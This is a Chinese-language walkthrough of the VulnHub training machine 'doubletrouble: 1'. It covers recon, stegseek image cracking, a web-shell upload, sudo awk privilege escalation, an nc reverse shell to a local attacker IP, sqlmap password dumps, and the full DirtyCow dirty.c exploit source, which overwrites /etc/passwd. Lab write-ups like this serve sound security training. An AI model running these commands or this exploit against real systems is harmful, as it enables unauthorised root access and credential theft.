靶機下載:doubletrouble: 1
前置#
靶機網路 NAT 模式
如果在掃描 IP 段時無法探測靶機 IP,參考這篇文章:
vulnhub 靶機檢測不到 IP 地址解決辦法
1. 信息收集
使用 netdiscover 掃描 IP 段
netdiscover -r 192.168.23.0/24
發現 IP:192.168.23.136
nmap 掃描端口
nmap -p- 192.168.23.136
開放端口 22,80
訪問首頁
發現使用 qdPM 版本 9.1,可以從exploit-db上查到存在 RCE、sql 注入等漏洞
dirb 掃描目錄
dirb http://192.168.23.136/
發現 secret 目錄下有圖片 doubletrouble.jpg
使用 stegseek 爆破
字典使用 kali 自帶的 rockyou.txt,位於 /usr/share/wordlists/rockyou.txt.gz,解壓後使用
kali 嘗試多次安裝 stegseek 不成功,換成 docker 執行,具體可以參考Stegseek,需先在 windows 上安裝 docker desktop
docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek [stegofile.jpg] [wordlist.txt]
這條命令在 windows cmd 中無法直接執行,換成完整路徑
docker run --rm -v "C:\Users\Mikiya\Desktop:/steg" rickdejager/stegseek /steg/doubletrouble.jpg /steg/rockyou.txt
這裡 C:\Users\Mikiya\Desktop 是我兩個文件存放的位置,也就是圖片和字典,使用記事本打開輸出文件得到账戶密碼
otisrush@localhost.com
otis666
2. 滲透
登錄系統,在我的詳情發現利用點,上傳一句話木馬文件,訪問上傳路徑 /uploads/users/
使用蟻劍連接
提權
發現 awk 命令可以使用 sudo 運行
sudo awk 'BEGIN {system ("/bin/bash")}' 提權
蟻劍無法直接提權,可以使用 nc 反彈 shell 提權
kali 監聽端口:nc -nvlp 9999
蟻劍運行:nc -e /bin/bash 192.168.23.134 9999
提權命令
調用本地終端操作更方便
python3 -c 'import pty;pty.spawn("/bin/bash")'
在根目錄下發現還有個虛擬機
使用 nc 傳遞文件
kali 終端:nc -lvvp 8888 > doubletrouble.ova
靶機終端:nc 192.168.23.134 8888 < doubletrouble.ova
VM 導入靶機,探測主機 IP,開放端口 22,80
訪問 80 端口
直接用 sqlmap 跑
sqlmap -u http://192.168.23.137/index.php -forms --dbs --batch
發現兩個數據庫
依次獲取表名和數據
sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--tables -D doubletrouble \
--batch
sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--batch \
--dump -D doubletrouble -T users
得到如下信息
GfsZxc1,montreux
ZubZub99,clapton
使用第二個賬戶 ssh 登錄獲取第一個 flag
由於是普通權限繼續提權,查內核版本
存在髒牛提權漏洞
髒牛 (DirtyCow) Linux 本地提權漏洞復現 (CVE-2016-5195)
用 dirty.c 腳本提權dirty.c
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
kali 創建一個 http 服務器
python -m http.server 80
靶機使用 wget 命令
wget http://192.168.23.130/dirty.c
按照作者提示使用 gcc 提權
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
成功獲取 root,在 root 目錄中找到第二個 flag
總結#
使用工具:nmap 掃描 IP 端口、dirb 掃描目錄、stegseek 爆破圖片、nc 傳文件、蟻劍、sqlmap 爆破數據庫、腳本提權
sudo awk 'BEGIN {system ("/bin/bash")}' 提權
本篇文章解題過程來自DOUBLETROUBLE: 1和vulnhub 靶機 --DoubleTrouble